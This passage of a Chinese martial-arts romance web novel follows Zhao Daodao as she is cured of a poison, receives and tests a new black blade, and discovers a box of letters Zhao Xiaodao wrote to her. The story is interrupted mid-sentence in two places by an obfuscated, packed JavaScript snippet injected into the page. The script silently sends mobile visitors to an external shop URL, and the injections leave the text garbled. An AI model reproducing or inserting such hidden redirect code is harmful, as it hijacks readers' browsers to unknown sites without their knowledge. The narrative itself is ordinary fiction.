赵刀刀笑道,“这样就足够了,那不就相当于没事?” “不,以后你还得一直服用另一种药滋养身体。除此之外……我这儿还有一种药可以帮你压制疼痛,你平时会感到痛吗?” 赵刀刀点头,“我不知道它们什么时候会出现,总是来得突然,消失得突然。” 顾倾城有些担忧,“这药能帮你感觉好些,但有一个缺点……一旦你忘了服,痛意会卷土重来,比你现在感觉到的还要强烈。” 赵刀刀想了想,问:“要是不吃呢?” “那你得学会习惯这种痛,并且能区分轮回花毒和其他伤病疼痛的不同。” “只要能分清就没其他影响了?” “对你来说是如此。”顾倾城问,“你觉得这种疼痛难忍吗?” 赵刀刀转动手腕,细细回忆,“其实不算很疼,可以忍下,而且……也不是每时每刻都在疼。” 顾倾城皱着眉道,“那不吃也行,这样反而好些。” “听你的。” “好,药方上还有些药材现在没有,得花些时间准备,我想想……两月后你再来柳州一趟吧。” 赵刀刀心头的一块巨石落下,她露出一个轻松的笑,“好,辛苦你了。” 顾倾城却并不领情,眉间还有郁色,“呵,你照顾好自己。” “当然。” …… 轮回花毒没有想象中那样严重,赵刀刀和赵小刀说明情况,他也终于放下了心。 赵刀刀呼吸着山谷中的空气,只觉得这时的自己才真正看清美景。 原来她也在怕……她自嘲地笑笑。 转眼已到第三天。 周向晚终于把藏得严实的刀拿了出来,他悉心擦拭过,刀身的寒光锐利明亮。 出乎赵刀刀预料,那也是一把黑刀。 “我还以为……”她以为会是普通刀剑的颜色,此时看到,却觉得格外熟悉亲切,仿佛黑刀真的失而复得。 赵刀刀从他手中接过,拔刀出鞘。 长度与之前无二,比之前的黑刀轻些,薄些,刀身韧而坚,刀柄处也下了功夫。 赵小刀能看得出来,这把刀和先前的黑刀相比也不差什么,叹道,“好刀!” 赵刀刀点点头,忍不住拿着细细端详。 唐雪也附和道,“没想到陆家大少爷还有这种手艺,看来你那几年没白在外面晃荡。” “那怎么能是晃荡?”周向晚不允许自己的英名被这样抹黑。“你可别忘了,要不是我找到了赵刀刀,她可不一定会来武洲,方英的心愿也可能完成不了。” 顾倾城在一旁笑道,“我师父的心愿只有一个,就是我过得好。” 周向晚不听这些,任固执己见,将头歪到一边。 唐雪问,“既然做的这么好,你为什么不让陆家人看?” 她已经想这个问题想了一路。 周向晚轻咳两声,“因为我干了一件事。” “什么?” “六月三更……没了。” 顾倾城皱了皱眉,“你……” “别这样看着我,剑没丢!”周向晚连连摆手,又有些紧张地交叉着双手,“说起来……你们觉得这把刀像不像六月三更?” 唐雪脱口而出,“完全不像啊。” 顾倾城若有所思,她渐渐明白他的意思了。 “嘿嘿,”周向晚低声道,“这事我只告诉你们,你们千万不要说出去……我把六月三更锻了。” 赵刀刀问,“为了这把刀?” “嗯……这算理由之一。” 唐雪震惊道,“真是小瞧你了,没想到你胆子这么大,你怎么会想到这个?” 周向晚道,“锻刀中,我总觉得差了点什么,那时候我把六月三更放在房里,每天看着,看着看着,我就想,作为一把绝世宝剑,它总该有什么不同……” 顾倾城道,“所以你就锻了。” 周向晚讪讪笑道,“是。你师父离开后,世上再也不会有人用这把剑了。既然如此——” 他连陆怀瑾都没告诉,拿着六月三更偷偷进了剑炉。 周向晚道,“一把好剑,不该就此束之高阁。” 唐雪感叹,“难怪你锻刀的时候谁也不见。” 顾倾城道,“师父把剑给你,就是随你处置,这种结果……也不坏。” 赵刀刀拿着刀,“有点贵重。” 赵小刀看着刀想,这些人里,就他不知道六月三更长什么样,不过不碍事,反正也没了。 周向晚见顾倾城毫无生气的模样,对赵刀刀道,“嘿嘿,总之已经是这样了,不要有压力,我们去试刀吧。” 唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13766076|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪有些期待地看过来。 赵刀刀思索片刻,“到山上去吧,我知道一个地方。” 四人跟着赵刀刀一起上山。走到一半,赵小刀看着山顶的石头突然意识到了这是哪条路。 昨天赵刀刀也来过这里。 赵刀刀找了块树少的地方,开始试刀。 第一式,她握刀向下纵批,第二招,手腕回转横削而过。 一劈一削,招式浑然天成,刀意所到,草木萧萧,仿佛被狂风摧残过境。 接着赵刀刀开始施展七绝刀。 她心随手动,一招一式早已熟记于心,此时挥刀,脑中连思考也不需,只是凭着习惯和心意顺势而动,招式浑然一体,难以分清到底出了几招。 她的身子压得极低,贴近地面,使出一招横刀扫雪,接一招卧云起雾飞身向上,又趁着腾空使出一招墨洒向飞。 赵小刀知道,赵刀刀最常使这招墨洒向飞,因为她喜欢,但此时使出,和之前的威力已截然不同。 她的力道顺着手传到刀锋,黑色的刀锋闪烁寒光,仿佛星辰坠地,黑刀的影子已然难以分辨,心中越是畅快,她挥刀也越快,情之所至,忍不住轻喝一声。 唐雪三人仿佛感受到了贴面而过的风刃,没有杀意,却威力无穷,激起一层颤栗。 赵刀刀周围已被清出一片空地。 这还只是试刀而已,唐雪想,天下榜该重排了。 林中只有黑刀破空的声音震慑心魂。 赵刀刀顺着心意挥出最后一刀。 这一刀,她斩断了过去的迷茫反复,斩断了心中的不安顾虑,斩断了远处山顶的一块巨石。 连天空的云也为这一刀让了步,洁白厚重的云层中露出一线湛蓝的天。 轰的一声,激起无数飞鸟走兽,被劈成两半的巨石顺着山巅滚下,砸落山脚。 赵刀刀长吁一口气,她刀意已成,此后七绝刀法也再不能阻碍她的前进。 赵刀刀反手负刀身后,转身笑道,“我喜欢练刀,喜欢这里,也喜欢你们。” 几人也跟着她笑起来。 周向晚道:“如果你不能让这把刀做兵器谱第一的刀,那我就不回陆家了。” 唐雪故作惊讶道:“呀,看来你不得不继承家业了。” 顾倾城抱臂斜睨:“受伤了就回来柳城,你这只手我保了。” 赵小刀幽幽道:“我会仔细盯着她的。” 众人说笑着,赵刀刀随心所欲又使出几招,唐雪撸起袖子和她过招,周向晚也忍不住凑个热闹。 笑声在山间回响,久久不绝。 他们尽兴而归,晚上又在顾倾城的带领下去了山谷深处。 夜深露重,幸好所有人都多穿了几件衣裳。 顾倾城提着灯,漆黑的山谷渐渐只有这一点橘色的光亮。 虫鸣声更响。 顾倾城忽然道:“闭着眼睛往前走。” 四人心中疑惑,但还是照做。周围悉悉索索的声音扰乱了方向,他们闭上眼睛,只跟着顾倾城的声音走。 不知走了多久,声音一清,隐约有水声传来,顾倾城才道:“可以睁开了。” 唐雪第一个睁开,“哇——!” 眼前是一片湖,湖中有一棵树,这棵树不算太高,但树干粗壮,树冠茂密,即使是夜里也能看得见它繁盛的枝叶。 树上星光点点,一片萤火照亮了它红色的叶子。 望着这一片萤火,唐雪忽然觉得眼眶一热,她牵着赵刀刀的手,道:“恩人,新年快乐!” 赵刀刀一愣,笑道,“新年快乐。” 唐雪将两只手放在嘴边,大喊道:“新年快乐——” 声音在夜里清晰嘹亮,萤火飞舞着,像是在伴着奏响乐曲。 周向晚也学着她一起喊。 赵小刀深吸一口气,也一起欢呼。 顾倾城一开始还有些拒绝,后面也跟着喊起来。 说说笑笑间。 他们错过的新年,好像都在此刻取得圆满。 89. 美梦 过了年,解了毒,赵刀刀心境更上一步,和顾倾城道了别,回到风月城的山上木屋。 这里太久没人来,已经落了一层灰,山里的湿气漫进来,藤蔓过了冬又恢复勃勃生机,放肆地缠绕着屋子。 赵刀刀和赵小刀开始了彻底的打扫,整整一天,都走进走出没有停歇。 终于等到晚饭时分才放下东西,相视一笑下山吃饭。 二人饱餐过,没了白天的急切,慢悠悠晃荡着上山。 赵小刀道,“我听唐雪说……你会刻很多东西。” 赵刀刀点头,“嗯,她离开柳州那天我送她的就是。” 赵小刀沉默片刻,清了清嗓子,又微微别过脸,问,“刀刀,你刻过我吗?” 赵刀刀一愣,轻笑道,“我出轮回城那段日子还不知道你长什么样子。” “你明明在风月城的晚上也刻了……” 赵刀刀定了定神,“会刻的。你想要吗,刻完送你?” “嗯。”赵小刀问,“还有……你的毒呢,顾倾城说还差点什么?” 赵刀刀点头,“还得去柳州一趟,不过不急。” “……她帮我们太多了。” “嗯,如果不是她,我也不敢在鬼门关走上那么多回。” 赵刀刀笑了笑,“我和她约好,以后会去帮她采三次药,现在看来还是少了,下次见面在两月后,那时再和她说说。” 赵小刀点头,“不过刚从柳城离开,还是多在风月城待几天吧,你回来也没有多久。如果……中途想提早过去我们也可以随时出发。不论什么时候,你去的话她一定会高兴的。” “嗯。”赵刀刀忽然转头看着赵小刀的侧脸,直白地注视到他有些疑惑地摸了摸脸。 “……怎么了?”赵小刀问。 “你当时为什么会想出试毒这样的法子,跑去太白山庄?” 赵小刀一愣,这问题在山谷中赵刀刀都没有提起,他还以为她不会问了。 “我想找到你,但除了这条命,也没什么筹码。”他说得轻描淡写。 “……不会再这样了。”赵刀刀有些惆怅,但看着眼前人,转瞬又释然。 以前的事都过去了,至少现在她和赵小刀还能这样一起走着,已是万幸。 “嗯。”赵小刀认真道,“我答应你。” …… 赵刀刀觉得自己仿佛回到了很早以前。那会儿她刚来到风月城,赵小刀还是黑刀,她就住在这里,日复一日练刀生活。 现在想来,那也是段幸福的日子。 无人打扰,什么都没有发生。 但现在也是好日子。 赵刀刀看着手中的新刀,目光温柔。 相比之下,她更喜欢现在。 即使会痛苦,这已是她意料之外最好的当下。 她挥刀横扫,一遍又一遍重复着同一招。 周向晚炼的刀很合手。 虽然看起来和上把刀一样,实际上手会比原来的轻些,颜色也更浅,细数起来有很多不同。除了乍一看的外形,这完全是两把不同的刀。 赵刀刀以为自己已经习惯了过去,却发现她比想象中更快适应了这把刀。 新刀更锋利,更坚韧。 她甚至喜欢这把新刀。 按顾倾城的建议,赵刀刀改了时间,把练刀放在白天,顺应着身体,不强求一致,恢复了练刀的习惯。 但中途发生了一件怪事,让她又想变动时间。 赵刀刀练刀的时辰一般是固定的,早上下午各一段,偶尔她会提前回来。 提前回来的几次,她无意中发现了一件事。 本来还是怀疑,几次下来已经确定。 有古怪。 她有几次悄悄错开时间回来,总能看见赵小刀的手指轻轻磕在一个大箱子上,更古怪的是,赵小刀从来不提起那个箱子,每次她回去之后就会找个时机默默收起来。 那箱子不在她房里,被放在前厅架子旁边,说是前厅,其实这木屋并不大,只是被赵小刀分成了两部分,前厅,卧房。箱子上平时盖着布,仿佛只是个用来放东西的台子,赵刀刀之前就一直没注意到。 直到几次偶然撞见。 有什么见不得人的?赵刀刀心中好奇。 赵小刀不知道她发现了这件事,还以为自己藏得很好。 但赵刀刀的好奇与日俱增,练刀时偶尔也想起这事。 终究耐不住。 一天夜里。 赵刀刀半夜三更起来,她轻轻将箱子搬出来,却发现箱子上挂了锁…… 她微微皱眉,赵小刀平时拿过什么钥匙样的物件?她没见他拿过。 赵刀刀在屋子里仔细寻找起来,借着月光四处看。 视线掠过窗台时突然停下,她眼睛一亮,在窗台的摆件之间看见一把不算显眼的钥匙。 赵刀刀放轻放缓了动作,坏笑着拿起钥匙,靠进箱子,正要打开—— 卧房那扇门边忽然传来了两声轻咳 赵小刀靠在门边,不知看了多久,目光温柔如水。 赵刀刀将钥匙藏在手心,站直身子,“你醒了?” “嗯。” 赵刀刀压下急迫,道,“我夜里睡不着,起来走走,现在又困了,先回去休息吧。” 她走到门前拉赵小刀的手。 赵小刀没走,笑了笑,“刀刀,想看就看吧,只是……我怕你失望,箱子里的东西并不有趣。” “你怎么知道我会不会失望?倾城跟我说你还有许多小秘密瞒着我。”赵刀刀转了转眼睛,“既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13774321|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不介意,那我可要看了。” 赵小刀无奈道,“去吧。”他把手里的衣服给她披上,转身离开。 赵刀刀思索片刻,觉得蹊跷更甚。 她转动钥匙,取下锁头,打开箱子。 箱子里没有想象中的金光宝贝,神兵利器,只是塞满了信。 整整齐齐,慢慢的一箱信。奇怪的是信封上写着某月某日,却没写寄给谁。 赵小刀既然让她看,那应该是可以拆开的?赵刀刀一边想着,一边拆开了一封信。 看着开头的前几个字,她忽然愣住了——信是写给她的。 赵刀刀垂下眸子,放到一边,又拆开几封。 毫无例外,这里全是给她的信。 她点了灯,坐在箱子旁看了很久,看到自己眼睛又累又酸,才关上箱子去找小刀。 赵小刀竟然没有睡,他静静站在窗边,不知站了多久。 赵刀刀走过去,从后面抱住他,声音在夜色中有些朦胧,“你怎么从来不告诉我。” “都过去了。” “可是我还想看啊。” 半晌无言,赵小刀转过身抱住刀刀,“那些日子我过的很无趣,信里言语简陋,多有重复,没什么新意,怕你不喜欢。” “我喜欢。” “嗯。” “我喜欢你思念我,每时每刻想着我,我喜欢你记下那些日子,与我一起分享。” “嗯。” 赵刀刀的头抵在他的胸膛,感到他说话时胸前微微颤抖,想抬头却被赵小刀按住了。 他声音沙哑,“等一会。” “好。” 两人相拥着。 唯有月光落下。 赵刀刀忍不住出声道,“那些信我很喜欢,你以后也可以写给我。” “好。” “我不看你。” “嗯。”赵小刀放开了按在她头后的手,搂上她的肩膀。 赵刀刀闭上眼睛钻上去一些,她摸了摸赵小刀的脸,用手指描画他的轮廓,耳鬓厮磨道,“你从前说的话我都有听,你以后喜欢什么也要告诉我,好吗?” 过了许久,她听见带着微微笑意的一声,“好。” 赵小刀紧抱着她,有些颤栗,心中不断重复,我最喜欢的是你,最爱的也是你。 他张了张嘴,用尽全身力气,却说不出一个字。 拥抱紧到勒人,空气中只有呼吸声交相缠绵。 赵刀刀用脸蹭着他的脸,蹭到他眼角的湿润,用指尖拂去泪水,不经意感受到赵小刀微颤的睫毛。 她在赵小刀耳畔轻轻地说话,“我知道的。” 声音在夜风中飘散开来,如羽毛拂过心尖。 “我都知道。” 就这样进入梦乡。